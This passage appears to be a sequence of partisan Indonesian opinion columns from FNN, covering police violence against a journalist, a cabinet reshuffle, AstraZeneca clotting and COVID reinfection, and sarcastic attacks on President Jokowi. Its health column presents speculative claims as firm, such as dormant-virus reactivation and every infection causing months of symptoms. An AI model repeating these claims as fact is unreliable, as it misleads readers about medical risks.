mempelihatkan diri sebagai wartawan Tempo dianiaya Polisi. Nurhadi dianiaya saat berupaya mencari informasi tentang mantan Direktur Pemeriksaan Direktorat Jenderal Pajak, Angin Prayitno Aji. Orang ini diduga terlibat kasus suap pemeriksaan pajak pada Sabtu, 27 Maret 2021 yang lagi disidik Komisi Pemberantasan Korupsi (KPK). Nurhadi dianiaya di Gedung Graha Samudera Bumimoro, kompleks Komando Pembinaan Doktrin Pendidikan dan Latihan TNI Angkatan Laut Surabaya. Meski sudah menunjukkan identitasnya sebagai jurnalis, Nurhadi tetap dipukul, dipiting dan sempat disekap selama beberapa jam di hotel. Apakah Pak Kapolri telah mengambil tindakan terhadap ariogansi anak buah yang menganiaya Nurhadi? Apa penanganan kasus ini mau dilambat-lambatkan lagi seperti penanganan kasus pembunuhan laskar FPI di kilometer 50 tol Japek? Kalau memiliki nuansa yang sama dengan kasus kilometer 50 tol Japek, maka sulit untuk menilai bahwa Pak Kapolri punya hasrat menghentikan prilaku arogansi anak buahnya. Kapolri Mengerti UUD 45? Polisi di bawah kepemimpin Pak Kapolri Sigit saat ini, tentu tak mau negara ini diplesetkan menjadi Negara Kepolisian Republik Indonesia (NKRI). Kalaupun mau jadikan Indonesia negara Polisi, maka bukan Polisi yang menentukan arah itu. Pak Kapolri dan jajarannya kan tahu bahwa Polisi itu baru ada setelah negeri ini merdeka. Polisi baru ada setelah dibentuk Badan Keamanan Rakyat (BKR). Pak Kapolri dan jajarannya pasti tahu bahwa BKR dibentuk tidak untuk “melakukan kekerasan dan arogan” kepada rakyat. BKR itu dibentuk untuk melindungi rakyat dari tindak-tanduk bejat tentara sekutu dan KNIL, tentara Kerajaan Belanda itu. Makanya menjadi tidak logis kalau polisi yang arogan terhadap rakyat. Rakyat itu pemilik bangsa ini. Bukan milik Polisi. Kapolri harus mengerti juga UUD 1945. Rakyat itu bukan musuh polisi. Polisi juga bukan tukang pukul politik dari Presiden. Kapolri harus diberitahu pembatasan pers memberitakan perilaku arogansi polisi dalam menjalankan tugasnya, sama hukumnya dengan membatasi hak warga negara untuk mendapat informasi. Pembatasan hak warga negara hanya sah kalau diatur dengan UU. Begitulah UUD 1945 menggariskannya kepada bangsa ini. Bukan pakai TR kalau membatasi hak warga negara. Terima kasih Pak Kapolri atas pencabutan TR yang abal-abal itu. TR yang sebagian isinya melarang pemberitaan kekerasan dan arogansi aparat polisi. Jangan hanya kejahatan orang saja yang mau diusut. Tetapi giliran kekerasan dan arogansi aparat polisi mau disembunyikan. Ini cara berpikir yang abal-abal, kaleng-kaleng, odong-odong dan beleng-belang. Mendekorasi jalan menuju kursi Kapolri dengan konsep “PRESISI” itu hebat, kerkalas, top markotop dan sangat mengagumkan. Tetapi kekerasan dan arogansi aparat polisi mau disembunyikan, jelas itu konyol. Sebab PRESISI itu bukan profesional yang sembunyikan kekerasan dan arogansi polisi. PRESISI itu bukan pula profesional berprilaku menyadap atau menyedot data pribadi orang, seperti data pribadinya Jumhur Hidayat, yang disedot secara diam-diam. PRESISI itu bukan memperlakukan hukum yang berbeda pada kasus yang sama. Kerumunan yang dihadiri oleh Presiden, dianggap benar. Tetapi giliran orang lain, misalnya Habib Rizieq Shihab, malah dijadikan tersangka dan dipenjarakan. Itu bukan presisi. Ini namanya arogansi. Cara dan pola seperti itu pernah dipakai oleh Polisi GESTAPO Nazi Hiler dulu. PRESISI, tetapi berbulan-bulan baru menemukan tiga tersangka dalam kasus pembunuhan di kilometer 50 tol Japek? Sudah begitu wajah tiga orang tersangka tidak pernah ditampilkan. Ujug-ujug sudah ada tersangka yang meninggal, karena tabrakan tunggal? Beda betul dengan perlakukan terhadap Habib Rizieq Shihab, Dr Syahganda Nainggolan, Jumhur Hidayat dan Anton Permana yang diperlihatkan kepada publik dengan baju warna oranye dan tangan diborgol. Nyawa anak bangsa, enam anggota Laskar FPI ternyata lebih rendah dari kritik terhadap Presiden. Tersangka pembunuh enam laskar FPI diumpetin. Tetapi mereka yang mengeritik terhadap Presiden dan DPR yang sedang membahas RUU Omnibus Law Cipta Kerja malah ditampilkan secara demonstratif kepada publik. Betul-betul itu prilaku yang arogan. Dimana itu PRESISI diumpetin? (bersambung).

Musim Reshuffle, Menristek Pamit di Kunjungan Daerah Terakhir

KONSEKUENSI disetujuinya usulan Presiden Jokowi terkait penggabungan Kemendikbud dan Kemenristek yang telah disetujui oleh DPR RI, membuat Menristek Bambang Brodjonegoro merasa harus pamit dari kabinet. Ya, asumsinya yang akan dipakai adalah Mendikbud Nadiem Makarim yang akan duduk menjadi menteri hasil penggabungan dua kementerian tersebut. Tak ayal membuat Menristek merasa dirinya sudah tak lagi dibutuhkan, padahal bisa saja Bambang Brodjo yang dijadikan Mendikbud atau setidaknya Wakil Mendikbud. Saat meresmikan Science Techno Park Universitas Hasanuddin (Unhas) di Makassar, Sulawesi Selatan, Bambang mengatakan kegiatannya hari itu merupakan kunjungan kerjanya yang terakhir sebagai Menristek. "Kunjungan daerah pertama saya sebagai Menristek itu adalah ke Unhas. Waktu itu saya membuka joint working group meeting Indonesia-Prancis dalam bidang penelitian didampingi Rektor, dan hari ini mungkin kunjungan saya yang terakhir ke daerah sebagai Menristek," kata Bambang saat meresmikan Science Techno Park Universitas Hasanuddin, Jumat (9/4). Alasannya, sesuai dengan rapat paripurna DPR RI, maka tak ada lagi Kemenristek. Karena sesuai dengan hasil sidang paripurna DPR tadi, Kemenristek akan dilebur ke Kementerian Pendidikan dan Kebudayaan. Jadi artinya tak ada lagi Kemenristek dan tak ada lagi kunjungan daerah dari Menristek ke mana pun. Bambang menjabat sebagai Menristek/Kepala BRIN sejak 20 Oktober 2019. Sebelumnya, ia menjabat sebagai Menteri PPN/Kepala Bappenas sejak 27 Juli 2016 sampai 20 Oktober 2019. Ia juga pernah menjabat sebagai Menteri Keuangan periode 27 Oktober 2014-27 Juli 2016. Dengan demikian, jabatan Bambang telah berganti sebanyak tiga kali selama pemerintahan Jokowi. Penggabungan Kemenristek ke Kemendikbud yang telah disetujui DPR RI disampaikan oleh Wakil Ketua DPR Sufmi Dasco Ahmad kemarin. Sesuai hasil rapat konsultasi pengganti rapat Bamus 8 April 2021 yang telah bahas surat Presiden Nomor R-14/Pres/03/2021 perihal Pertimbangan Pengubahan Kementerian dan menyepakati penggabungan sebagian tugas dan fungsi Kemenristek ke Kemendikbud sehingga menjadi Kemendikbud dan Ristek, pembentukan Kementerian Investasi untuk meningkatkan investasi dan penciptaan lapangan pekerjaan dilanjutkan dengan pengambilan keputusan. Rupanya, hasil keputusan rapat Bamus pengganti rapat konsultasi terhadap pertimbangan penggabungan dan pembentukan kementerian disetujui Rapat Paripurna. Untuk memperkuat kebijakannya, Presiden Jokowi pun menyambangi kediaman Ketua Umum PDIP Megawati Soekarnoputri. Seperti biasa, PDIP pun menyambut baik usulan penggabungan Kemendikbud dan Kementistek. Satu lagi usulan yang mencuat adalah disetujuinya keberadaan Menteri Investasi. Selama ini urusan investasi ditangani oleh Badan Kooordinasi Penanaman Modal (BKPM) yang diketuai oleh Bahlil Lahadalia. Memang agak aneh ada Menko Kemaritiman dan Investasi tapi tidak ada Menteri Investasi, bisa saja Bahlil naik menjadi menterinya. Tapi melihat kinerja investasi yang di bawah target, boleh jadi akan ada figur baru yang akan menduduki jabatan itu. Ada figur seperti Sandiaga Salahudin Uno, ada Gita Wirjawan, ada juga Yuliot Tanjung, ada Mahendra Siregar, Ignasius Jonan, Silmy Karim, hingga Ito Warsito. Pendek kata, musim reshuffle mekar kembali. Ada kekhawatiran, ada harapan. Tapi jangan sampai ini adalah bagian dari pengalihan isu, karena masalah sesungguhnya adalah utang yang menggunung, pengangguran bertambah, korupsi yang merajalela, dan demokrasi yang sedang terhempas. Kalau sudah begini yang diperlukan bukan sekadar reshuffle kabinet, melainkan reshuffle presiden.

Bahaya Efek Simpang Vaksin AstraZeneca, Indonesia Harus Waspada!

by Mochamad Toha Surabaya, FNN - Indonesia wajib waspada terkait efek simpang Vaksin AstraZeneca. Pasalnya, selain Vaksin Sinovac, Indonesia kini juga melakukan vaksinasi dengan vaksin AstraZeneca. Peringatan ini mengacu pada catatan Arie Karimah, Pharma-Excellent alumni ITB. Meskipun MHRA (The Medicines and Healthcare Produsts Regulatory Agency) baru akan mengumumkan hasil kaji ulangnya pada Rabu atau Kamis pekan depan, tapi hampir pasti ada kaitan antara terbentuknya gumpalan darah di otak dengan AstraZeneca. AstraZeneca itu dibuat dengan teknologi viral vector menggunakan adenovirus chimpanzee. MHRA menerima laporan 30 kasus penggumpalan darah, dengan 7 diantaranya meninggal, setelah dilakukan vaksinasi terhadap lebih dari 18 juta orang di UK. Pihak EMA (The European Medicines Agency) juga tengah menyelidiki laporan 44 kasus penggumpalan darah di otak, dan bersifat sangat langka, disebut sebagai CVST (Cerebral Venous Sinus Thrombosis). Kasus itu terjadi setelah dilakukan vaksinasi terhadap 9,2 juta orang di European Economic Area, yang meliputi negara-negara Uni Eropa, Islandia, Liechtenstein, Norwegia, Perancis, Jerman, dan Belanda menghentikan sementara vaksinasi pada orang muda. Penghentian vaksinasi dengan vaksn AstraZeneca ini, karena kasus penggumpalan darah itu banyak terjadi pada wanita muda atau setengah baya. Meski demikian kelompok ini belum dianggap sebagai kelompok berisiko. Dugaan sementara, menurut Arie Karimah, vaksin memicu produksi antibodi yang tidak biasa. Namun, asumsi ini dibantah, mengapa tidak terjadi pada vaksin lain, yang sama-sama menjadikan spike protein virus sebagai target vaksin. Ada kemungkinan lainnya berkaitan dengan penggunaan pil KB. Tapi, belum ada data yang diungkap: berapa persen pengguna pil KB yang disuntik vaksin AstraZeneca dan mengalami kasus CVST? Sebelumnya, Arie Karimah menulis tentang Breakthrough Infection at Michigan, Amerika Serikat. Negara bagian Michigan, yang telah selesai memvaksinasi lebih dari 1,8 juta warganya, kini tengah menyelidiki kasus “breakthrough” infection. “Breakthrough” infection itu terinfeksi setelah divaksinasi. Mereka mencatat: 246 orang masih bisa terinfeksi, 2 minggu atau lebih setelah suntikan kedua vaksin Pfizer atau Moderna, atau setelah suntikan vaksin Johnson & Johnson, yang memang cukup sekali suntik. Dari 1,8 juta hanya 100.000 orang yang mendapat vaksin J&J. Ada 11 orang perlu dirawat di rumah sakit. Artinya, ini “melawan pakem” bahwa kalau sudah divaksinasi jika pun terinfeksi maka infeksinya ringan, tidak memerlukan perawatan di rumah sakit. Tiga orang meninggal, 2 di antaranya dalam waktu 3 minggu setelah vaksinasi penuh. Mesk angka-angka ini kecil bila dibandingkan jumlah yang sudah divaksinasi, namun hal itu menguatkan 2 hal yang selalu perlu diingatkan kepada publik: Pertama, vaksin tidak memberikan garansi mutlak (risiko nol persen) tidak akan terinfeksi. Kedua, memakai masker dan protokol kesehatan lainnya masih tetap penting selama musim pandemik masih berlangsung. Kasus “breakthrough” infection ini tidak terlalu mengejutkan, karena pada mereka yang telah berusia lanjut atau memiliki sistem immune yang lemah bisa jadi tidak mampu membentuk antibodi yang cukup untuk melawan infeksi, meski sudah “dilatih” oleh pemberian vaksin. Dan sekalipun vaksinnya memiliki efikasi yang nyaris sempurna: Pfizer 95% dan Moderna 94%. Tapi Johnson & Johnson “hanya”: 66% untuk mencegah infeksi sedang, dan 85% untuk mencegah infeksi parah. Di samping itu, kluster sekolah di Michigan meningkat hingga 47% hanya dalam waktu 2 minggu, sehingga sebagian sekolah memutuskan untuk belajar dari rumah kembali. Menurut Arie Karimah, pengetahuan tentang infeksi Covid-19 terus berkembang. Apa yang dianggap benar sebulan yang lalu belum tentu masih terjaga kebenarannya bulan ini. Perlu dipahami terlebih dahulu istilah yang benar tentang reinfeksi Covid-19, yang berbeda dengan infeksi saluran pernafasan lainnya, juga perbedaannya dengan istilah lain: Reinfeksi: terjadi jika seseorang terinfeksi Covid-19, kemudian sembuh dan virusnya tidak terdeteksi lagi oleh PCR, tapi kemudian terinfeksi kembali dengan strain virus yang berbeda. Jadi dibutuhkan genetic sequencing untuk memastikan terjadinya reinfeksi. Bukan sekedar munculnya kembali gejala yang sama/mirip. Di seluruh dunia baru tercatat kurang dari 50 orang yang mengalami reinfeksi, sehingga kasusnya dianggap jarang/langka. Di AS hanya tercatat 5 kasus. Jadi, reinfeksi hanya bisa dipastikan setelah diketahui genome virus di infeksi pertama dan kedua berbeda. Perlu dilakukan 2 kali sampling pada satu orang: di infeksi pertama dan kedua. Dan pada masing-masing sampel itu dilakukan genome sequencing. Genetic sequencing adalah proses untuk mengidentifikasi sidik jari sebuah virus yang spesifik, sehingga bisa dibandingkan dengan strain virus yang lain. Contoh genetic sequencing. Sebagai ilustrasi kemampuan genomic sequencing AS: 10 Jan: 252 sequences per minggu; 24 Jan: 2.238 sequences per minggu; Pertengahan Feb: 6.000 sequences per minggu. UK melakukan sequencing terhadap 5-10% dari sampel yang mereka miliki. Bagaimana dengan kita? Berapa per bulan? Seorang epidemiologist di state of Washington mengatakan, mereka berusaha melakukan genetic sequencing untuk genotyping 5% dari seluruh sampel yang sudah terkumpul. Dengan cara ini baru memungkinkan untuk menyortir 700 sampel yang berpotensi reinfeksi. Genotyping juga akan membantu menandai keberadaan hasil mutasi genetik (varian), yang bisa mempengaruhi seberapa mudahnya virus menyebar dan seberapa parah infeksi yang ditimbulkannya. Long-Haul Covid: infeksi pertama memicu gejala yang sangat melemahkan tubuh, yang bisa bertahan hingga berbulan-bulan, dan partikel virusnya bisa terus terdeteksi oleh PCR. Reaktivasi Virus Dormant. Seperti halnya bakteri, sebagian virus juga bisa mengalami kondisi tidur (dormant), yaitu virus tetap ada di dalam tubuh namun tidak aktif dan tidak menunjukkan gejala penyakit. Mirip dengan OTG, namun bedanya kasus dormant ini yang bersangkutan pernah terinfeksi dan menunjukkan gejala. Virus dormant ini load-nya sangat rendah, dan bisa berada di bagian lain di luar saluran pernafasan, sehingga tidak terdeteksi oleh PCR. Baik karena lokasi keberadaannya yang tidak terjangkau oleh swab, atau memerlukan CT (cycle threshold) yang sangat tinggi untuk bisa terdeteksi. Tapi mereka bisa menyerang kembali suatu hari nanti. Rendahnya viral load. Ini jugalah yang bisa menjelaskan kenapa penderita bisa mengalami kehilangan indra penciuman (anosmia) dan rasa (dysgeusia) begitu lama, karena virusnya masih berada di dalam tubuh dan melakukan replikasi (perkembangbiakan) dalam jumlah yang sangat kecil dalam jangka waktu yang lama. Berbulan-bulan. Arie Karimah khawatir yang dianggap reinfeksi di Indonesia adalah reaktivasi virus dormant. Contoh yang sudah sangat dikenal tentang reaktivasi virus dormant adalah pada kasus herpes genital, yang disebabkan oleh virus Herpes Simplex tipe 2. Berapa lamakah perlindungan alamiah yang diberikan oleh infeksi Covid-19 yang pertama? Penelitian terbaru menunjukkan, antibodi dan memory T-cells dan B-cells, yang berfungsi mengingat bentuk virus dan bagaimana cara memproduksi antibodinya, bisa bertahan lebih dari 8 bulan. Apakah mereka yang sudah pernah terinfeksi perlu waspada terhadap reinfeksi? Jawabannya: Iya. Mereka mungkin tidak perlu khawatir selama beberapa minggu, atau bahkan beberapa bulan setelah sembuh. Namun setelah itu tidak ada jaminan tidak akan mengalami reinfeksi. Dua faktor yang akan menentukan apakah akan terjadi reinfeksi, dan berapa cepat reinfeksi bisa terjadi: Faktor internal: berapa banyak produksi (titer) antibodi yang terbentuk saat infeksi yang pertama. Makin rendah berarti makin besar risiko mengalami reinfeksi. Jadi mereka yang mengalami infeksi ringan juga lebih berpeluang mengalami reinfeksi, karena diduga titer antibodinya masih rendah. Faktor eksternal: berapa sering bertemu dengan virus. Hal ini mencakup: berapa orang penular yang ditemui, berapa sering, dan berapa lama pertemuannya. Makin sering berarti makin besar risiko mengalami reinfeksi. Apakah gejala yang muncul pada reinfeksi lebih ringan atau lebih parah? Sebagian besar lebih ringan, karena tubuh sudah menghasilkan antibodinya. namun gejala juga dipengaruhi oleh faktor eksternal seperti disebutkan di atas. Dalam studi di Qatar, Inggris, dan AS menyebutkan peluang reinfeksi hanya 0,1 - 0,2%, dan reinfeksi terjadi pada sekitar waktu 16 – 20 minggu setelah infeksi pertama. Jadi, seringan apapun infeksinya, long-haul Covid-19 akan menyebabkan gejalanya terus ada selama beberapa bulan di organ-organ tubuh yang terpengaruh. Virusnya masih ada dan tidur. Penulis adalah Wartawan Senior FNN.co.id.

Sabar, Ada Saatnya Nanti Jokowi Urus Rakyat Kecil

by Asyari Usman Medan, FNN - Semakin banyak yang kecewa. Presiden Joko Widodo (Jokowi) diduga hanya melayani sebagian orang-orang besar. Besar partai, besar duit, besar mulut (buzzer), besar follower (Youtuber), besar khianat, dlsb. Sejumlah pendukung loyal Jokowi ikut kecewa terhadap perlakuan istimewa dari Presiden kepada Youtuber 26 juta follower: Atta Halilintar. Entah mengharapkan apa, Jokowi menghadiri acara akad nikah Atta dan Aurel pada 3 April 2021. Kepada yang kecewa, jangan berkecil hati. Bersabarlah. Ada saatnya nanti Jokowi melayani orang-orang kecil. Pada waktu yang tepat. Yaitu, ketika rakyat kecil diperlukan untuk melegitimasikan kekuasaan beliau, atau para pewarisnya, lewat kotak suara. Dan itu tak lama lagi –-2022 dan 2024. Jokowi akan keliling kampung sambil lempar-lempar hadiah. Akan terlihatlah nanti pemandangan yang sangat merakyat. Dan itu pasti akan diunggah di akun-akun medsos resmi presiden dan instansi-instansi lain. Sama seperti ketika Jokowi menyaksikan pernikahan Atta-Aurel. Meriah di akun Sekretariat Negara. Tunggu saja giliran Pak Jokowi merapat ke rakyat kecil. Untuk waktu ini, mohoh pengertian. Prioritas harus diberikan kepada rakyat besar. Lagi pula, dengan menghadiri pernikahan super-mewah itu berarti Presiden Jokowi mendorong pertumbuhan ekonomi berbasis pesta mahal. Sehingga nantinya hotel-hotel kelas mewah bisa bangkit kembali. Kalau ekonomi perpestaan mewah marak di mana-mana, maka investasi perhotelan akan masuk deras. Sukur-sukur investasi dari China yang masuk. Supaya rakyat kecil bisa ongkang-ongkang, tak perlu bekerja. Ada tenaga kerja China yang selalu dibawa untuk melaksanan proyek yang mereka modali. Jadi, Jokowi hadir ke pesta mewah Youtuber besar itu bukan tanpa strategi komprehensif. Semuanya sudah dipikirkan oleh Jokowi dan para penasihat senior beliau. Atta adalah pelopor ekonomi kreatif. Dia bisa dapat duit banyak dari kanal Youtube. Jokowi senang ekonomi seperti ini. Jika, misalnya, ada 10 juta Youtubers milenial dengan follower 25 juta, berarti akan berlangsung 10 juta pernikahan super mewah di hotel bintang lima. Akan tumbuh ribuan hotel lagi yang sekelas dengan Raffles. Nah, berapa itu nilai investasinya? Berapa juta pula tenaga kerja China yang bisa dibawa masuk? Itu maksud Jokowi mempromosikan Atta. Jangan curiga dulu. Jangan berprasangka Jokowi merangkul Atta untuk membantu sosialisasi amandemen UUD agar Jokowi bisa tiga periode. Penulis adalah Wartawan Senior FNN.co.id

Pak Jokowi Mau Husnul Khatimah atau Su'ul Khatimah

PERNYATAAN Gubernur Kalimantan Timur Isran Noor tentang Presiden Joko Widodo mengundang kehebohan. Dalam kuliah umum di Universitas Indonesia, Isran menyatakan berani menjamin Jokowi pasti masuk surga. Tak perlu ibadah lagi. Luar biasa! Isran berani memberi garansi ilahiah itu karena Jokowi dinilainya telah mengambil langkah dan kebijakan besar. Membangun dan memindahkan ibukota negara ke Pasir Penajam, Kaltim. Isran tidak hanya memuji Jokowi setinggi langit. Dia mejamin langsung tembus ke surga. Tanpa perlu dihisab lagi. Tak ada lagi perhitungan dosa dan pahala. Dalam urusan akhirat, Jokowi mengalahkan para ulama-ulama besar dan tokoh-tokoh sufi yang sudah berada dalam taraf ma’rifat. Jokowi, dalam pandangan Isran, levelnya sudah ma’shum. Terbebas dari dosa. Levelnya sama dengan 10 orang sahabat terdekat Nabi Muhammad SAW yang dijamin pasti masuk surga. Jokowi menurut Isran, lebih hebat dari semua Presiden Indonesia yang pernah ada. Termasuk dibandingkan dengan Sang Proklamator Bung Karno, dan Soeharto. Apalagi dibandingkan dengan Susilo Bambang Yudhoyono (SBY). Jauh. Tidak ada apa-apanya. Bung Karno, dan Pak Harto, kata Isran juga ingin memindahkan ibukota. Sampai keduanya mati —kata mati ini perlu diberi tanda petik “mati” — karena iu kalimat langsung Isran, tak berhasil mewujudkan mimpi itu. Sementara SBY yang masih hidup,—dalam kalimat langsung Isran “belum mati” — juga tidak berhasil memindahkan ibukota, walau juga punya keinginan. Jika menggunakan bahasa para pendukung Jokowi garis keras, “hanya Jokowi yang bisa. Presiden lain ngapain aja.” Pernyataan Isran ini, walau kemudian coba diluruskan oleh Humas Pemerintah Provinsi Kaltim, levelnya sudah kelewatan. Keblinger. Dia telah berani mengambil otoritas ilahiah. Masuk surga atau neraka, dalam pandangan Islam, dan juga agama-agama lain, merupakan hak prerogatif Tuhan, Allah SWT. Karena itu para sufi menggambarkan dalam sebuah syair “Aku tak berhak masuk surgamu. Tapi aku juga takut masuk nerakamu.” Syair itu menunjukkan, orang-orang sufi yang menjauhkan diri dari kehidupan dunia saja bersikap sangat rendah hati. Di hadapan Allah SWT mereka merendahkan diri, serendah mungkin. Sikap Isran ini sungguh sangat berbahaya. Ada tanda-tanda yang sangat jelas bahwa Jokowi telah dikultuskan. Menjadi manusia suci yang tak tersentuh dosa. Apa yang disampaikan Isran super kacau. Jauh lebih kacau dari wacana mendorong Jokowi menjadi presiden tiga periode. Ini menunjukkan sebuah kegilaan para pendukung Jokowi sudah menyentuh ubun-ubun. Melalui forum ini kita perlu mengingatkan Jokowi, jangan sampai tergoda. Apalagi sampai terlena oleh pujian, dan sanjungan yang menyesatkan. Jokowi perlu belajar dari para presiden terdahulu. Termasuk yang disebut oleh Isran. Bung Karno, Pak Harto, dan SBY. Bung Karno melalui TAP MPRS Nomor III/MPRS/1963 menjadi Presiden Seumur Hidup. Ingat ya seumur hidup. Bukan hanya tiga periode. Apa yang terjadi? Hanya empat tahun berselang, melalui TAP MPRS No. XXXIII/MPRS/1967 dia diberhentikan sebagai presiden. Semua kekuasaannya dicabut. Selesailah sudah masa jabatannya selama 22 tahun. Begitu juga dengan Pak Harto. Dia ditetapkan sebagai Bapak Pembangunan melalui TAP MPR No V Tahun 1983. Pada tanggal 11 Maret 1998 dia pilih dan ditetapkan oleh MPR menjadi Presiden Indonesia untuk periode ke-7. Hanya dua bulan berselang, karena desakan publik pada tanggal 21 Mei 1998 dia terpaksa meletakkan jabatannya. Kita pasti sepakat, dari sisi _legacy_ tak bisa membandingkan Jokowi dengan Bung Karno dan Pak Harto. Tidak apple to apple. Kalau tetap dipaksakan, perbandingannya seperti apel dengan durian. Lepas dari berbagai kekurangannya, Bung Karno adalah Bapak Proklamator. Dia juga punya peran besar dalam geo politik global. Pendiri Gerakan Non Blok. Demikian juga dengan Pak Harto. Dia berhasil membangun ekonomi Indonesia. Menjadi negara yang mampu berswasembada pangan. Di tataran global juga disegani. Menjadi big brother di negara-negara ASEAN. Dua-duanya, dengan segala warisan besarnya untuk bangsa dan negara, harus turun dari jabatannya dengan cara yang tidak menyenangkan. Dalam bahasa agama disebut su’ul khatimah. Akhir yang buruk. Bagaimana dengan SBY? Lepas dari berbagai kekurangannya, SBY turun dari jabatannya selama dua periode dengan mulus. Berakhir baik. Husnul khatimah. SBY dikenang sebagai seorang demokrat. Dia tidak pernah campur tangan urusan parpol lain. Dia tak pernah memenjarakan lawan politiknya. Masyarakat juga guyub. Tak ada pembelahan dalam masyarakat. Kalau Jokowi? Anda bisa menilai sendiri. Apa warisannya? Utang yang menggunung? Proyek-proyek mangkrak? Dan yang sangat parah adalah pembelahan dalam masyarakat. Silakan Jokowi mau memilih turun dari jabatan dengan cara yang mana? Cara Bung Karno dan Pak Harto? Atau cara SBY? Sejarah telah mengajarkan. Mau husnul khatimah atau su’ul khatimah. **

Sisyphus dan Pemimpin Pembohong

by Sutoyo Abadi Jogjakarta, FNN - Kisah legenda Sisyphus atau sisifus dalam mitologi Yunani menjadi sebuah pembelajaran akan kesia-siaan, sesuatu yang tak masuk akal, mustahil atau disebut absurdity. Sisyphus bahkan telah dipandang sebagai simbol dari paham absurdisme, ini adalah paham dimana usaha untuk mencari arti dari kehidupan akan berakhir dengan kegagalan, kesia-siaan, perbuatannya selalu konyol absurd., Sudah konyol perbuatan licik, pembohongan dan penipu. Akhirnya dewa menyeret paksa Sisyphus dan Zeus yang muak dengan trik dan kelicikannya memberikan ia hukuman, karena turus mengulangi tugas yang sia-sia, dimana ia harus mendorong bongkahan batu besar ke puncak gunung. Namun, begitu dia mencapai puncak bukit, batu besar itu akan berguling dan Sisyphus harus mendorongnya kembali. Mitologi Sisyphus, memberi pesan / mengajarkan tentang manusia bergumul dengan absurdisme. "Oleh Bung Rocky Gerung saat berceloteh bersama Bung Harsubeno Arif, ditempelkan ke Om Jokowi dengan apik dan menarik yang selalu berbuat konyol, negara dikelola dengan absurd - management gorong gorong, licik dan statemennya selalu bersayap - ujungnya menipu" Jokowi bukan hanya absurd karena super lemah kemampuan akalnya dalam mengelola negara berpotensi membawa kerusakan di mana-mana. Kerusakan yang nyata dihilangkan atau dimatikannya kritik dr masyarakat (under current) dan oposisi, negara berubah menjadi otoriter dan represif. Presiden atau istana kehilangan kemampuan memproduksi pikiran yang sehat sekalipun hanya untuk menyapa rakyat. Pengalaman sebagai bakul mebel apalannya hanya transaksi, gawatnya yang ditransaksikan adalah kedaulatan negara, stempel kesan masyarakat hanya berperan sebagai boneka sudah sulit untuk disetip (dihapus). Seperti tidak tahu apa apa dalam mengelola negara ini, yang terjadi reaksi kasar terhadap siapapun yang tidak sejalan dengan kebijakan oligarki. Narasi ini sebenarnya konyol juga di karena sudah menjadi menu setiap hari. Hanya karena Jokowi dianalogkan dengan kutukan Sisiphus menjadi benar - dari kutukan ini negara terus berjalan di lorong-lorong gelap. Hanya Rocky Gerung juga pernah mengatakan cuaca paling gelap adalah menjelang fajar. Maknanya dari gelap itu akan muncul matahari dari ufuk timur menghalau memusnahkan suasana gelap. Sekalipun pintunya hanya lahirnya "People power atau Revolusi". Kapan ia muncul tidak bisa di paksa dan tidak akan bisa di mundurkan. End. Penulis adalah Sekretaris KAMI se-Jateng

Mungkinkah Jokowi Lengser Sebelum Tàhun 2024?

by Tjahja Gunawan Jakarta, FNN - Belakangan ini berbagai kalangan masyarakat sudah banyak yang kecewa dan menginginkan adanya perubahan di negeri ini. Kekecewaan itu terjadi karena diantara mereka banyak yang menderita akibat krisis ekonomi. Ada yang kehilangan pekerjaan, ada pula yang jatuh miskin. Sebelum Pandemi Covid19 melanda Indonesia bulan Maret 2020, sebenarnya negara kita sudah dilanda krisis ekonomi. Itu antara lain ditandai dengan melemahnya daya beli masyarakat, selain itu angka kemiskinan dan pengangguran juga meningkat. Menurut data Badan Pusat Statistik (BPS), penduduk miskin pada September 2020 sebanyak 27,55 juta jiwa atau meningkat 2,76 juta dibandingkan tahun sebelumnya. BPS juga mencatat sebanyak 29,12 juta penduduk usia kerja menjadi pengangguran di tàhun 2020 atau naik 14,28% dibandingkan tàhun sebelumnya. Indikator makro ekonomi juga sangat tidak menggembirakan. Mulai dari utang yang terus membengkak hingga melebarnya defisit APBN. Kini utang Indonesia sudah mendekati angka Rp 7.000 triliun. Sementara pertumbuhan ekonomi yang meroket hingga 7 persen per tàhun, hanya tinggal cerita lama Jokowi sangat mengumbar janjinya pada kampanye Pilpres 2014 lalu. Selain persoalan ekonomi, kita juga banyak melihat praktek ketidakadilan yang dipertontonkan oleh rezim penguasa saat ini. Praktek korupsi terjadi hampir di semua lapisan elite kekuasaan baik di lingkungan eksekutif, legislatif maupun yudikatif. Penjarahan duit negara ini terjadi d itengah kekuasaan yang dikendalikan oleh oligarki yakni para konglomerat yang memiliki aset dan kekayaan yang sangat besar. Para konglomerat hitam ini selain mampu mengendalikan penguasa juga bisa mempengaruhi sejumlah partai politik pro pemerintah. Sehingga tidak heran kalau produk undang-undang yang dihasilkan DPR menguntungkan para konglomerat hitam seperti diantaranya UU tentang Minerba yang telah disahkan parlemen beberapa waktu lalu. Selain persoalan korupsi, masyarakat juga menyaksikan praktek dinasti politik yang diperlihatkan secara kasat mata oleh pemimpin negeri ini. Anak dan mantu Presiden Jokowi yang kini menjadi Walikota di Solo dan Medan, merupakan contoh konkret dinasti politik itu. Dinasti politik d bawah kendali oligarki Lengkap sudah kondisi politik Indonesia saat ini, yakni sebuah kekuasaan yang didasarkan pada dinasti politik dan dikendalikan oleh oligarki. Itulah potret buram wajah politik Indonesia terkini. Disatu sisi penguasa bisa berbuat semaunya, di sisi lain kehidupan masyarakat semakin menderita. Pada saat yang sama, para tokoh masyarakat yang kritis dan para ulama yang lantang menentang kedzoliman di negeri ini dipersekusi, diadili dan dipenjarakan oleh rezim penguasa. Beberapa waktu lalu saya berkesempatan ngobrol santai dengan Dr Rizal Ramli, pengamat ekonomi, mantan Menko Perekonomian yang juga salah satu tokoh pergerakan nasional. Kata dia, krisis ekonomi bisa menjadi pemicu jatuhnya seorang pemimpin. Kemudian Rizal Ramli, mengungkapkan rangkaian peristiwa dan kronologi kejatuhan Rezim Orde Baru dibawah kepemimpinan Soeharto pada bulan Mei 1998. Sampai April 1998, semua orang di Indonesia percaya bahwa Pak Harto tidak mungkin jatuh, beliau sangat kuat sekali dan baru terpilih kembali sebagai Presiden pada 11 Maret 1998. Ketika itu, hampir semua kalangan baik para pengusaha, kalangan akademisi , para tokoh dan pimpinan media masa, tetap percaya bahwa Pak Harto sangat kuat dan tidak mungkin ada perubahan. "Tetapi pada waktu itu mereka lupa bahwa tàhun 1998 itu ada krisis ekonomi. Ditambah lagi ada perubahan peta politik di Amerika Serikat, dimana Presiden AS Bill Clinton waktu itu tidak mau Pak Harto jadi presiden lagi," ungkap Rizal Ramli yang mengaku terlibat dalam proses politik di tàhun 1998. Krisis ekonomi tàhun 1998 merupakan lanjutan dari krisis moneter 